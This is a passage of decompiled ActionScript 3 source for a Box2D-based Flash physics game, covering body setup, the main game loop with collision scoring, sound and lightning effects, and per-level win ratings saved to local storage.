dim54_sh.SetAsBox(((dim54_cl.width / 2) / 30), ((dim54_cl.height / 2) / 30));
dim54_def.userData = dim54_cl;
dim54_sh.density = 10;
dim54_sh.friction = 1;
dim54_sh.restitution = 0.1;
dim54 = world.CreateBody(dim54_def);
dim54.CreateShape(dim54_sh);
dim54.SetMassFromShapes();
dim55_def = new b2BodyDef();
dim55_sh = new b2PolygonDef();
dim55_def.position.Set((dim55_cl.x / 30), (dim55_cl.y / 30));
dim55_sh.SetAsBox(((dim55_cl.width / 2) / 30), ((dim55_cl.height / 2) / 30));
dim55_def.userData = dim55_cl;
dim55_sh.density = 10;
dim55_sh.friction = 1;
dim55_sh.restitution = 0.1;
dim55 = world.CreateBody(dim55_def);
dim55.CreateShape(dim55_sh);
dim55.SetMassFromShapes();
dim56_def = new b2BodyDef();
dim56_sh = new b2PolygonDef();
dim56_def.position.Set((dim56_cl.x / 30), (dim56_cl.y / 30));
dim56_sh.SetAsBox(((dim56_cl.width / 2) / 30), ((dim56_cl.height / 2) / 30));
dim56_def.userData = dim56_cl;
dim56_sh.density = 10;
dim56_sh.friction = 1;
dim56_sh.restitution = 0.1;
dim56 = world.CreateBody(dim56_def);
dim56.CreateShape(dim56_sh);
dim56.SetMassFromShapes();
dim57_def = new b2BodyDef();
dim57_sh = new b2PolygonDef();
dim57_def.position.Set((dim57_cl.x / 30), (dim57_cl.y / 30));
dim57_sh.SetAsBox(((dim57_cl.width / 2) / 30), ((dim57_cl.height / 2) / 30));
dim57_def.userData = dim57_cl;
dim57_sh.density = 10;
dim57_sh.friction = 1;
dim57_sh.restitution = 0.1;
dim57 = world.CreateBody(dim57_def);
dim57.CreateShape(dim57_sh);
dim57.SetMassFromShapes();
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
}
public function lev3_1_f(_arg1:MouseEvent){
gotoAndStop("loc17");
}
public function pomoc_bt_f2(_arg1:MouseEvent){
pomoc_cl.visible = false;
pomoc_cl2.visible = false;
pomoc_cl3.visible = false;
}
public function play_bt_f(_arg1:MouseEvent){
removeEventListener(MouseEvent.CLICK, play_bt_f);
removeEventListener(Event.ENTER_FRAME, plama_f);
if (cre_cl.visible == false){
removeEventListener(MouseEvent.CLICK, credits_bt_f2);
};
for (i_in2 in mas_pla) {
removeChild(getChildByName(("plam" + mas_pla[i_in2])));
};
mas_pla.splice(0, mas_pla.length);
per_pla = 1;
removeChild(getChildByName("fakel_da"));
gotoAndStop("prepre");
}
public function lev1_5_f(_arg1:MouseEvent){
gotoAndStop("loc5");
}
public function lev2_3_f(_arg1:MouseEvent){
gotoAndStop("loc11");
}
public function cl_f(_arg1:MouseEvent){
var _local2:Sound;
var _local3:SoundChannel;
var _local4:Sound;
var _local5:SoundChannel;
var _local6:Sound;
var _local7:SoundChannel;
var _local8:Sound;
var _local9:SoundChannel;
var _local10:Sound;
var _local11:SoundChannel;
var _local12:Sound;
var _local13:SoundChannel;
var _local14:Sound;
var _local15:SoundChannel;
if (cel > 0){
if (kol_hero > 0){
if (hero_fly == 0){
if (defeat == 0){
dx = mouseX;
dy = mouseY;
if (!panel_da.hitTestPoint(dx, dy)){
rnd_for_mas = int((Math.random() * 9));
if ((((rnd_for_mas > 0)) && ((rnd_for_mas <= 1)))){
_local2 = new ki7();
_local3 = _local2.play();
};
if (rnd_for_mas == 2){
_local4 = new ki1();
_local5 = _local4.play();
};
if (rnd_for_mas == 3){
_local6 = new ki2();
_local7 = _local6.play();
};
if (rnd_for_mas == 4){
_local8 = new ki3();
_local9 = _local8.play();
};
if (rnd_for_mas == 5){
_local10 = new ki4();
_local11 = _local10.play();
};
if (rnd_for_mas == 6){
_local12 = new ki5();
_local13 = _local12.play();
};
if (rnd_for_mas >= 7){
_local14 = new ki6();
_local15 = _local14.play();
};
(getChildByName("hero_da") as MovieClip).gotoAndStop(3);
hero_fly = 1;
kol_hero--;
kol_hero_tx.text = ("x" + kol_hero.toString());
sp_x = (Math.sin((getChildByName("pricel_da").rotation * (Math.PI / 180))) * 7);
sp_y = (Math.cos((getChildByName("pricel_da").rotation * (Math.PI / 180))) * 7);
devil.ApplyImpulse(new b2Vec2(((-(sp_x) * usk) / 1.5), ((sp_y * usk) / 1.5)), devil.GetPosition());
devil.ApplyTorque(((sp_x * 4) * -1));
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
};
};
};
};
};
}
public function lev1_3_f(_arg1:MouseEvent){
gotoAndStop("loc3");
}
public function pomoc2_bt_f2(_arg1:MouseEvent){
pomoc_cl2.visible = false;
pomoc_cl.visible = false;
pomoc_cl2.visible = false;
pomoc_cl3.visible = false;
}
public function lev2_1_f(_arg1:MouseEvent){
gotoAndStop("loc9");
}
public function vorota_iz_pre(_arg1:Event){
if (polosa_zagr.currentFrame == 41){
gotoAndStop("mem");
removeEventListener(Event.ENTER_FRAME, vorota_iz_pre);
};
}
public function lev1_1_f(_arg1:MouseEvent){
gotoAndStop("loc1");
}
public function obuc_f(_arg1:MouseEvent){
obuc_cl.nextFrame();
if (obuc_cl.currentFrame == 3){
removeEventListener(Event.ENTER_FRAME, obuc_ang);
obuc_cl.next_bt.removeEventListener(MouseEvent.CLICK, obuc_f);
addEventListener(Event.ENTER_FRAME, up_w);
addEventListener(Event.ENTER_FRAME, game_f);
addEventListener(Event.ENTER_FRAME, add_hero);
zvuk_bt.addEventListener(MouseEvent.CLICK, nagal_zvuk);
again_bt.addEventListener(MouseEvent.CLICK, again_f);
home_bt.addEventListener(MouseEvent.CLICK, home_f);
};
}
public function game_f(_arg1:Event){
var _local2:Sound;
var _local3:SoundChannel;
var _local4:Sound;
var _local5:SoundChannel;
var _local6:Sound;
var _local7:SoundChannel;
var _local8:Sound;
var _local9:SoundChannel;
var _local10:Sound;
var _local11:SoundChannel;
var _local12:Sound;
var _local13:SoundChannel;
var _local14:Sound;
var _local15:SoundChannel;
var _local16:Sound;
var _local17:SoundChannel;
var _local18:Sound;
var _local19:SoundChannel;
var _local20:Sound;
var _local21:SoundChannel;
var _local22:Sound;
var _local23:SoundChannel;
if (--grom_zv <= 0){
rnd_for_mas = int((Math.random() * 9));
if ((((rnd_for_mas > 0)) && ((rnd_for_mas <= 1)))){
_local2 = new grom1_zv();
_local3 = _local2.play();
grom_zv = 300;
};
if (rnd_for_mas == 2){
_local4 = new grom2_zv();
_local5 = _local4.play();
grom_zv = 300;
};
if (rnd_for_mas == 3){
_local6 = new grom3_zv();
_local7 = _local6.play();
grom_zv = 300;
};
if (rnd_for_mas == 4){
_local8 = new grom4_zv();
_local9 = _local8.play();
grom_zv = 300;
};
if (rnd_for_mas == 5){
_local10 = new grom5_zv();
_local11 = _local10.play();
grom_zv = 300;
};
if (rnd_for_mas == 6){
_local12 = new grom6_zv();
_local13 = _local12.play();
grom_zv = 300;
};
if (rnd_for_mas == 7){
_local14 = new grom7_zv();
_local15 = _local14.play();
grom_zv = 300;
};
if (rnd_for_mas >= 8){
_local16 = new grom8_zv();
_local17 = _local16.play();
grom_zv = 300;
};
};
dx = mouseX;
dy = mouseY;
score_tx.text = score_game.toString();
if (hero_ex == 1){
if (hero_fly == 1){
if ((getChildByName("hero_da") as MovieClip).currentFrame != 2){
(getChildByName("hero_da") as MovieClip).gotoAndStop(2);
};
} else {
if ((getChildByName("hero_da") as MovieClip).currentFrame != 1){
(getChildByName("hero_da") as MovieClip).gotoAndStop(1);
};
};
};
if (hero_fly == 1){
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
_vel231 = devil.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.3)) && ((Math.abs(_vel231.y) < 0.3)))){
hero_fly = 0;
};
};
if (hero_fly == 1){
if (--per_popal_gr <= 0){
if (Math.abs((_vel231.x + _vel231.y)) > 3){
for (i_in2 in mas_ground) {
if (this[(("gro" + mas_ground[i_in2]) + "_cl")].hitTestObject((getChildByName("hero_da") as MovieClip).telo)){
_local18 = new gro_zv();
_local19 = _local18.play(100);
per_popal_gr = 12;
};
};
};
};
if (Math.abs((_vel231.x + _vel231.y)) > 2){
for (i_in2 in mas_balka) {
if (this[(("dim" + mas_balka[i_in2]) + "_cl")].hitTestObject((getChildByName("hero_da") as MovieClip).telo)){
mas_balka_giz[i_in2] = (mas_balka_giz[i_in2] - 1);
if (--cra_test <= 0){
if (Math.abs((_vel231.x + _vel231.y)) > 6){
rnd_for_mas = int((Math.random() * 10));
if (rnd_for_mas > 5){
_local20 = new wood_zv();
_local21 = _local20.play();
} else {
_local22 = new rock_zv();
_local23 = _local22.play();
};
cra_100 = new cra_100_cl();
addChild(cra_100);
cra_100.name = ("crash" + per_cra);
cra_100.x = this[(("dim" + mas_balka[i_in2]) + "_cl")].x;
cra_100.y = this[(("dim" + mas_balka[i_in2]) + "_cl")].y;
mas_cra.push(per_cra);
if (locations <= 8){
score_game = (score_game - 100);
} else {
score_game = (score_game + 100);
};
per_cra++;
cra_test = 4;
};
};
if (this[(("dim" + mas_balka[i_in2]) + "_cl")].currentFrame < 5){
this[(("dim" + mas_balka[i_in2]) + "_cl")].nextFrame();
};
if (mas_balka_giz[i_in2] <= 0){
if (Math.abs((_vel231.x + _vel231.y)) > 14){
cra_500 = new cra_500_cl();
addChild(cra_500);
cra_500.name = ("crash" + per_cra);
cra_500.x = this[(("dim" + mas_balka[i_in2]) + "_cl")].x;
cra_500.y = this[(("dim" + mas_balka[i_in2]) + "_cl")].y;
mas_cra.push(per_cra);
score_game = (score_game + 500);
per_cra++;
};
if ((((Math.abs((_vel231.x + _vel231.y)) > 9)) && ((Math.abs((_vel231.x + _vel231.y)) <= 14)))){
cra_300 = new cra_300_cl();
addChild(cra_300);
cra_300.name = ("crash" + per_cra);
cra_300.x = this[(("dim" + mas_balka[i_in2]) + "_cl")].x;
cra_300.y = this[(("dim" + mas_balka[i_in2]) + "_cl")].y;
mas_cra.push(per_cra);
score_game = (score_game + 300);
per_cra++;
};
if ((((Math.abs((_vel231.x + _vel231.y)) > 6)) && ((Math.abs((_vel231.x + _vel231.y)) <= 9)))){
cra_200 = new cra_200_cl();
addChild(cra_200);
cra_200.name = ("crash" + per_cra);
cra_200.x = this[(("dim" + mas_balka[i_in2]) + "_cl")].x;
cra_200.y = this[(("dim" + mas_balka[i_in2]) + "_cl")].y;
mas_cra.push(per_cra);
score_game = (score_game + 200);
per_cra++;
};
if ((((Math.abs((_vel231.x + _vel231.y)) > 3)) && ((Math.abs((_vel231.x + _vel231.y)) <= 6)))){
cra_100 = new cra_100_cl();
addChild(cra_100);
cra_100.name = ("crash" + per_cra);
cra_100.x = this[(("dim" + mas_balka[i_in2]) + "_cl")].x;
cra_100.y = this[(("dim" + mas_balka[i_in2]) + "_cl")].y;
mas_cra.push(per_cra);
score_game = (score_game + 100);
per_cra++;
};
if (this[(("dim" + mas_balka[i_in2]) + "_cl")].currentFrame < 6){
rnd_for_mas = int((Math.random() * 10));
if (rnd_for_mas > 5){
cra_200 = new cra_200_cl();
addChild(cra_200);
cra_200.name = ("crash" + per_cra);
cra_200.x = this[(("dim" + mas_balka[i_in2]) + "_cl")].x;
cra_200.y = this[(("dim" + mas_balka[i_in2]) + "_cl")].y;
mas_cra.push(per_cra);
per_cra++;
score_game = (score_game + 200);
} else {
cra_300 = new cra_300_cl();
addChild(cra_300);
cra_300.name = ("crash" + per_cra);
cra_300.x = this[(("dim" + mas_balka[i_in2]) + "_cl")].x;
cra_300.y = this[(("dim" + mas_balka[i_in2]) + "_cl")].y;
mas_cra.push(per_cra);
score_game = (score_game + 300);
per_cra++;
};
this[(("dim" + mas_balka[i_in2]) + "_cl")].gotoAndPlay(6);
if (mas_balka[i_in2] == 1){
world.DestroyBody(dim1);
};
if (mas_balka[i_in2] == 2){
world.DestroyBody(dim2);
};
if (mas_balka[i_in2] == 3){
world.DestroyBody(dim3);
};
if (mas_balka[i_in2] == 4){
world.DestroyBody(dim4);
};
if (mas_balka[i_in2] == 5){
world.DestroyBody(dim5);
};
if (mas_balka[i_in2] == 6){
world.DestroyBody(dim6);
};
if (mas_balka[i_in2] == 7){
world.DestroyBody(dim7);
};
if (mas_balka[i_in2] == 8){
world.DestroyBody(dim8);
};
if (mas_balka[i_in2] == 9){
world.DestroyBody(dim9);
};
if (mas_balka[i_in2] == 10){
world.DestroyBody(dim10);
};
if (mas_balka[i_in2] == 11){
world.DestroyBody(dim11);
};
if (mas_balka[i_in2] == 12){
world.DestroyBody(dim12);
};
if (mas_balka[i_in2] == 13){
world.DestroyBody(dim13);
};
if (mas_balka[i_in2] == 14){
world.DestroyBody(dim14);
};
if (mas_balka[i_in2] == 15){
world.DestroyBody(dim15);
};
if (mas_balka[i_in2] == 16){
world.DestroyBody(dim16);
};
if (mas_balka[i_in2] == 17){
world.DestroyBody(dim17);
};
if (mas_balka[i_in2] == 18){
world.DestroyBody(dim18);
};
if (mas_balka[i_in2] == 19){
world.DestroyBody(dim19);
};
if (mas_balka[i_in2] == 20){
world.DestroyBody(dim20);
};
if (mas_balka[i_in2] == 21){
world.DestroyBody(dim21);
};
if (mas_balka[i_in2] == 22){
world.DestroyBody(dim22);
};
if (mas_balka[i_in2] == 23){
world.DestroyBody(dim23);
};
if (mas_balka[i_in2] == 24){
world.DestroyBody(dim24);
};
if (mas_balka[i_in2] == 25){
world.DestroyBody(dim25);
};
if (mas_balka[i_in2] == 26){
world.DestroyBody(dim26);
};
if (mas_balka[i_in2] == 27){
world.DestroyBody(dim27);
};
if (mas_balka[i_in2] == 28){
world.DestroyBody(dim28);
};
if (mas_balka[i_in2] == 29){
world.DestroyBody(dim29);
};
if (mas_balka[i_in2] == 30){
world.DestroyBody(dim30);
};
if (mas_balka[i_in2] == 31){
world.DestroyBody(dim31);
};
if (mas_balka[i_in2] == 32){
world.DestroyBody(dim32);
};
if (mas_balka[i_in2] == 33){
world.DestroyBody(dim33);
};
if (mas_balka[i_in2] == 34){
world.DestroyBody(dim34);
};
if (mas_balka[i_in2] == 35){
world.DestroyBody(dim35);
};
if (mas_balka[i_in2] == 36){
world.DestroyBody(dim36);
};
if (mas_balka[i_in2] == 37){
world.DestroyBody(dim37);
};
if (mas_balka[i_in2] == 38){
world.DestroyBody(dim38);
};
if (mas_balka[i_in2] == 39){
world.DestroyBody(dim39);
};
if (mas_balka[i_in2] == 40){
world.DestroyBody(dim40);
};
if (mas_balka[i_in2] == 41){
world.DestroyBody(dim41);
};
if (mas_balka[i_in2] == 42){
world.DestroyBody(dim42);
};
if (mas_balka[i_in2] == 43){
world.DestroyBody(dim43);
};
if (mas_balka[i_in2] == 44){
world.DestroyBody(dim44);
};
if (mas_balka[i_in2] == 45){
world.DestroyBody(dim45);
};
if (mas_balka[i_in2] == 46){
world.DestroyBody(dim46);
};
if (mas_balka[i_in2] == 47){
world.DestroyBody(dim47);
};
if (mas_balka[i_in2] == 48){
world.DestroyBody(dim48);
};
if (mas_balka[i_in2] == 49){
world.DestroyBody(dim49);
};
if (mas_balka[i_in2] == 50){
world.DestroyBody(dim50);
};
if (mas_balka[i_in2] == 51){
world.DestroyBody(dim51);
};
if (mas_balka[i_in2] == 52){
world.DestroyBody(dim52);
};
if (mas_balka[i_in2] == 53){
world.DestroyBody(dim53);
};
if (mas_balka[i_in2] == 54){
world.DestroyBody(dim54);
};
if (mas_balka[i_in2] == 55){
world.DestroyBody(dim55);
};
if (mas_balka[i_in2] == 56){
world.DestroyBody(dim56);
};
if (mas_balka[i_in2] == 57){
world.DestroyBody(dim57);
};
if (mas_balka[i_in2] == 58){
world.DestroyBody(dim58);
};
if (mas_balka[i_in2] == 59){
world.DestroyBody(dim59);
};
if (mas_balka[i_in2] == 60){
world.DestroyBody(dim60);
};
if (mas_balka[i_in2] == 61){
world.DestroyBody(dim61);
};
if (mas_balka[i_in2] == 62){
world.DestroyBody(dim62);
};
if (mas_balka[i_in2] == 63){
world.DestroyBody(dim63);
};
if (mas_balka[i_in2] == 64){
world.DestroyBody(dim64);
};
if (mas_balka[i_in2] == 65){
world.DestroyBody(dim65);
};
mas_balka.splice(i_in2, 1);
mas_balka_giz.splice(i_in2, 1);
};
};
};
};
};
};
if (hero_ex == 1){
if (hero_fly == 0){
if (defeat == 0){
if ((getChildByName("pricel_da") is MovieClip)){
removeChild(getChildByName("pricel_da"));
};
pricel = new pricel_cl();
addChild(pricel);
pricel.x = getChildByName("hero_da").x;
pricel.y = getChildByName("hero_da").y;
pricel.name = "pricel_da";
swapChildren(getChildByName("hero_da"), getChildByName("pricel_da"));
dx = (mouseX - getChildByName("hero_da").x);
dy = (mouseY - getChildByName("hero_da").y);
ugol = Math.atan2(dx, dy);
vracenie = ((ugol * 360) / (-2 * Math.PI));
getChildByName("pricel_da").rotation = vracenie;
dist = (2 * Math.sqrt(((Math.abs((mouseX - getChildByName("hero_da").x)) ^ 2) + (Math.abs((mouseY - getChildByName("hero_da").y)) ^ 2))));
dist = int(dist);
if (dist <= 19){
usk = 5;
pricel.gotoAndStop(1);
};
if (dist == 20){
usk = 6;
pricel.gotoAndStop(2);
};
if (dist == 21){
usk = 7;
pricel.gotoAndStop(3);
};
if (dist == 22){
usk = 8;
pricel.gotoAndStop(4);
};
if (dist == 23){
usk = 9;
pricel.gotoAndStop(5);
};
if (dist == 24){
usk = 10;
pricel.gotoAndStop(6);
};
if (dist == 25){
usk = 11;
pricel.gotoAndStop(7);
};
if (dist == 26){
usk = 12;
pricel.gotoAndStop(8);
};
if (dist == 27){
usk = 13;
pricel.gotoAndStop(9);
};
if (dist == 28){
usk = 14;
pricel.gotoAndStop(10);
};
if (dist == 29){
usk = 15;
pricel.gotoAndStop(11);
};
if (dist >= 30){
usk = 16;
pricel.gotoAndStop(12);
};
};
};
};
i = 1;
while (i <= kol_cel) {
if (this[("ang" + i)].currentFrame == 130){
this[("ang" + i)].gotoAndPlay(1);
};
if (hero_ex == 1){
if (this[("ang" + i)].telo.hitTestObject((getChildByName("hero_da") as MovieClip).telo)){
if (this[("ang" + i)].currentFrame < 131){
this[("ang" + i)].gotoAndPlay(131);
cra_5000 = new cra_5000_cl();
addChild(cra_5000);
cra_5000.name = ("crash" + per_cra);
cra_5000.x = this[("ang" + i)].x;
cra_5000.y = this[("ang" + i)].y;
mas_cra.push(per_cra);
score_game = (score_game + 5000);
per_cra++;
cel--;
};
};
};
i++;
};
if (--molnia <= 0){
rnd_for = int((Math.random() * 20));
if ((((rnd_for >= 0)) && ((rnd_for < 3)))){
cloud.molnia_cl.gotoAndPlay(2);
rnd_for = int((Math.random() * 200));
molnia = (80 + rnd_for);
} else {
if ((((rnd_for >= 3)) && ((rnd_for < 5)))){
cloud.molnia_cl.gotoAndPlay(9);
rnd_for = int((Math.random() * 200));
molnia = (80 + rnd_for);
} else {
if ((((rnd_for >= 5)) && ((rnd_for < 7)))){
cloud.molnia_cl.gotoAndPlay(16);
rnd_for = int((Math.random() * 200));
molnia = (80 + rnd_for);
} else {
if ((((rnd_for >= 7)) && ((rnd_for < 9)))){
cloud.molnia_cl.gotoAndPlay(23);
rnd_for = int((Math.random() * 200));
molnia = (80 + rnd_for);
} else {
if ((((rnd_for >= 9)) && ((rnd_for < 11)))){
cloud.molnia_cl.gotoAndPlay(30);
rnd_for = int((Math.random() * 200));
molnia = (80 + rnd_for);
} else {
if ((((rnd_for >= 11)) && ((rnd_for < 13)))){
cloud.molnia_cl.gotoAndPlay(37);
rnd_for = int((Math.random() * 200));
molnia = (80 + rnd_for);
} else {
if ((((rnd_for >= 13)) && ((rnd_for < 15)))){
cloud.molnia_cl.gotoAndPlay(44);
rnd_for = int((Math.random() * 200));
molnia = (80 + rnd_for);
} else {
if ((((rnd_for >= 15)) && ((rnd_for < 155)))){
cloud.molnia_cl.gotoAndPlay(51);
rnd_for = int((Math.random() * 200));
molnia = (80 + rnd_for);
};
};
};
};
};
};
};
};
};
if (cel <= 0){
_vel231 = devil.GetLinearVelocity();
if ((((Math.abs(_vel231.x) < 0.5)) && ((Math.abs(_vel231.y) < 0.5)))){
if (defeat == 0){
win = new win_cl();
addChild(win);
win.x = 350;
win.y = 250;
win.name = "win_da";
win.score_tx.text = score_game.toString();
if (locations == 1){
sav.data.loc1_2 = 1;
if (score_game >= 5000){
win.ogon.gotoAndStop(4);
sav.data.loc1_1_kak = 3;
};
if ((((score_game >= 4900)) && ((score_game < 5000)))){
win.ogon.gotoAndStop(3);
sav.data.loc1_1_kak = 2;
};
if ((((score_game > 4800)) && ((score_game < 4900)))){
win.ogon.gotoAndStop(2);
sav.data.loc1_1_kak = 1;
};
if (score_game <= 4800){
win.ogon.gotoAndStop(1);
sav.data.loc1_1_kak = 0;
};
sav.flush();
};
if (locations == 2){
sav.data.loc1_3 = 1;
if (score_game >= 10000){
win.ogon.gotoAndStop(4);
sav.data.loc1_2_kak = 3;
};
if ((((score_game >= 9800)) && ((score_game < 10000)))){
win.ogon.gotoAndStop(3);
sav.data.loc1_2_kak = 2;
};
if ((((score_game > 9500)) && ((score_game < 9800)))){
win.ogon.gotoAndStop(2);
sav.data.loc1_2_kak = 1;
};
if (score_game <= 9500){
win.ogon.gotoAndStop(1);
sav.data.loc1_2_kak = 0;
};
sav.flush();
};
if (locations == 3){
sav.data.loc1_4 = 1;
if (score_game >= 15000){
win.ogon.gotoAndStop(4);
sav.data.loc1_3_kak = 3;
};
if ((((score_game >= 14200)) && ((score_game < 15000)))){
win.ogon.gotoAndStop(3);
sav.data.loc1_3_kak = 2;
};
if ((((score_game > 13000)) && ((score_game < 14200)))){
win.ogon.gotoAndStop(2);
sav.data.loc1_3_kak = 1;
};
if (score_game <= 13000){
win.ogon.gotoAndStop(1);
sav.data.loc1_3_kak = 0;
};
sav.flush();
};
if (locations == 4){
sav.data.loc1_5 = 1;
if (score_game >= 20000){
win.ogon.gotoAndStop(4);
sav.data.loc1_4_kak = 3;
};
if ((((score_game >= 19700)) && ((score_game < 20000)))){
win.ogon.gotoAndStop(3);
sav.data.loc1_4_kak = 2;
};
if ((((score_game > 19000)) && ((score_game < 19700)))){
win.ogon.gotoAndStop(2);
sav.data.loc1_4_kak = 1;
};
if (score_game <= 19000){
win.ogon.gotoAndStop(1);
sav.data.loc1_4_kak = 0;
};
sav.flush();
};
if (locations == 5){
sav.data.loc1_6 = 1;
if (score_game >= 5000){
win.ogon.gotoAndStop(4);
sav.data.loc1_5_kak = 3;
};
if ((((score_game >= 4900)) && ((score_game < 5000)))){
win.ogon.gotoAndStop(3);
sav.data.loc1_5_kak = 2;
};
if ((((score_game > 4800)) && ((score_game < 4900)))){
win.ogon.gotoAndStop(2);
sav.data.loc1_5_kak = 1;
};
if (score_game <= 4800){
win.ogon.gotoAndStop(1);
sav.data.loc1_5_kak = 0;
};
sav.flush();
};
if (locations == 6){
sav.data.loc1_7 = 1;
if (score_game >= 5000){
win.ogon.gotoAndStop(4);
sav.data.loc1_6_kak = 3;
};
if ((((score_game >= 4900)) && ((score_game < 5000)))){
win.ogon.gotoAndStop(3);
sav.data.loc1_6_kak = 2;
};
if ((((score_game > 4800)) && ((score_game < 4900)))){
win.ogon.gotoAndStop(2);
sav.data.loc1_6_kak = 1;
};
if (score_game <= 4800){
win.ogon.gotoAndStop(1);
sav.data.loc1_6_kak = 0;
};
sav.flush();
};
if (locations == 7){
sav.data.loc1_8 = 1;
if (score_game >= 5000){
win.ogon.gotoAndStop(4);
sav.data.loc1_7_kak = 3;
};
if ((((score_game >= 4900)) && ((score_game < 5000)))){
win.ogon.gotoAndStop(3);
sav.data.loc1_7_kak = 2;
};
if ((((score_game > 4800)) && ((score_game < 4900)))){
win.ogon.gotoAndStop(2);
sav.data.loc1_7_kak = 1;
};
if (score_game <= 4800){
win.ogon.gotoAndStop(1);
sav.data.loc1_7_kak = 0;
};
sav.flush();
};
if (locations == 8){
if (score_game >= 5000){
win.ogon.gotoAndStop(4);
sav.data.loc1_8_kak = 3;
};
if ((((score_game >= 4900)) && ((score_game < 5000)))){
win.ogon.gotoAndStop(3);
sav.data.loc1_8_kak = 2;
};
if ((((score_game > 4800)) && ((score_game < 4900)))){
win.ogon.gotoAndStop(2);
sav.data.loc1_8_kak = 1;
};
if (score_game <= 4800){
win.ogon.gotoAndStop(1);
sav.data.loc1_8_kak = 0;
};
sav.flush();
};
if (locations == 9){
sav.data.loc2_2 = 1;
if (kol_hero == 7){
win.ogon.gotoAndStop(4);
sav.data.loc2_1_kak = 3;
};
if (kol_hero == 6){
win.ogon.gotoAndStop(3);
sav.data.loc2_1_kak = 2;
};
if (kol_hero == 5){
win.ogon.gotoAndStop(2);
sav.data.loc2_1_kak = 1;
};
if (kol_hero < 5){
win.ogon.gotoAndStop(1);
sav.data.loc2_1_kak = 0;
};
sav.flush();
};
if (locations == 10){
sav.data.loc2_3 = 1;
if (kol_hero == 5){
win.ogon.gotoAndStop(4);
sav.data.loc2_2_kak = 3;
};
if (kol_hero == 4){
win.ogon.gotoAndStop(3);
sav.data.loc2_2_kak = 2;
};
if (kol_hero == 3){
win.ogon.gotoAndStop(2);
sav.data.loc2_2_kak = 1;
};
if (kol_hero < 3){
win.ogon.gotoAndStop(1);
sav.data.loc2_2_kak = 0;
};
sav.flush();
};
if (locations == 11){
sav.data.loc2_4 = 1;
if (kol_hero >= 4){
win.ogon.gotoAndStop(4);
sav.data.loc2_3_kak = 3;
};
if (kol_hero == 3){
win.ogon.gotoAndStop(3);
sav.data.loc2_3_kak = 2;
};
if (kol_hero == 2){
win.ogon.gotoAndStop(2);
sav.data.loc2_3_kak = 1;
};
if (kol_hero < 2){
win.ogon.gotoAndStop(1);
sav.data.loc2_3_kak = 0;
};
sav.flush();
};
if (locations == 12){
sav.data.loc2_5 = 1;
if (kol_hero == 5){
win.ogon.gotoAndStop(4);
sav.data.loc2_4_kak = 3;
};
if (kol_hero == 4){
win.ogon.gotoAndStop(3);
sav.data.loc2_4_kak = 2;
};
if (kol_hero == 3){
win.ogon.gotoAndStop(2);
sav.data.loc2_4_kak = 1;
};
if (kol_hero < 3){
win.ogon.gotoAndStop(1);
sav.data.loc2_4_kak = 0;
};
sav.flush();
};
if (locations == 13){
sav.data.loc2_6 = 1;
if (kol_hero == 4){
win.ogon.gotoAndStop(4);
sav.data.loc2_5_kak = 3;
};
if (kol_hero == 3){
win.ogon.gotoAndStop(3);
sav.data.loc2_5_kak = 2;
};
if (kol_hero == 2){
win.ogon.gotoAndStop(2);
sav.data.loc2_5_kak = 1;
};
if (kol_hero < 2){
win.ogon.gotoAndStop(1);
sav.data.loc2_5_kak = 0;
};
sav.flush();
};
if (locations == 14){
sav.data.loc2_7 = 1;
if (kol_hero == 4){
win.ogon.gotoAndStop(4);
sav.data.loc2_6_kak = 3;
};
if (kol_hero == 3){
win.ogon.gotoAndStop(3);
sav.data.loc2_6_kak = 2;
};
if (kol_hero == 2){
win.ogon.gotoAndStop(2);
sav.data.loc2_6_kak = 1;
};
if (kol_hero < 2){
win.ogon.gotoAndStop(1);
sav.data.loc2_6_kak = 0;
};
sav.flush();
};
if (locations == 15){
sav.data.loc2_8 = 1;
if (kol_hero == 6){
win.ogon.gotoAndStop(4);
sav.data.loc2_7_kak = 3;
};
if (kol_hero == 5){
win.ogon.gotoAndStop(3);
sav.data.loc2_7_kak = 2;
};
if (kol_hero == 4){
win.ogon.gotoAndStop(2);
sav.data.loc2_7_kak = 1;
};
if (kol_hero < 4){
win.ogon.gotoAndStop(1);
sav.data.loc2_7_kak = 0;
};
sav.flush();
};
if (locations == 16){
if (kol_hero >= 3){
win.ogon.gotoAndStop(4);
sav.data.loc2_8_kak = 3;
};
if (kol_hero == 2){
win.ogon.gotoAndStop(3);
sav.data.loc2_8_kak = 2;
};
if (kol_hero == 1){
win.ogon.gotoAndStop(2);
sav.data.loc2_8_kak = 1;
};
if (kol_hero < 1){
win.ogon.gotoAndStop(1);
sav.data.loc2_8_kak = 0;
};
sav.flush();
};
if (locations == 17){
sav.data.loc3_2 = 1;
if (score_game >= 20000){
win.ogon.gotoAndStop(4);
sav.data.loc3_1_kak = 3;
};
if ((((score_game >= 19000)) && ((score_game < 20000)))){
win.ogon.gotoAndStop(3);
sav.data.loc3_1_kak = 2;
};
if ((((score_game > 17000)) && ((score_game < 19000)))){
win.ogon.gotoAndStop(2);
sav.data.loc3_1_kak = 1;
};
if (score_game <= 17000){
win.ogon.gotoAndStop(1);
sav.data.loc3_1_kak = 0;
};
sav.flush();
};
if (locations == 18){
sav.data.loc3_3 = 1;
if (score_game >= 31000){
win.ogon.gotoAndStop(4);
sav.data.loc3_2_kak = 3;
};
if ((((score_game >= 29000)) && ((score_game < 31000)))){
win.ogon.gotoAndStop(3);
sav.data.loc3_2_kak = 2;
};
if ((((score_game > 25000)) && ((score_game < 29000)))){
win.ogon.gotoAndStop(2);
sav.data.loc3_2_kak = 1;
};
if (score_game <= 25000){
win.ogon.gotoAndStop(1);
sav.data.loc3_2_kak = 0;
};
sav.flush();
};
if (locations == 19){
sav.data.loc3_4 = 1;
if (score_game >= 27000){
win.ogon.gotoAndStop(4);
sav.data.loc3_3_kak = 3;
};
if ((((score_game >= 25000)) && ((score_game < 27000)))){
win.ogon.gotoAndStop(3);
sav.data.loc3_3_kak = 2;
};
if ((((score_game > 23000)) && ((score_game < 25000)))){
win.ogon.gotoAndStop(2);
sav.data.loc3_3_kak = 1;
};
if (score_game <= 23000){
win.ogon.gotoAndStop(1);
sav.data.loc3_3_kak = 0;
};
sav.flush();
};
if (locations == 20){
sav.data.loc3_5 = 1;
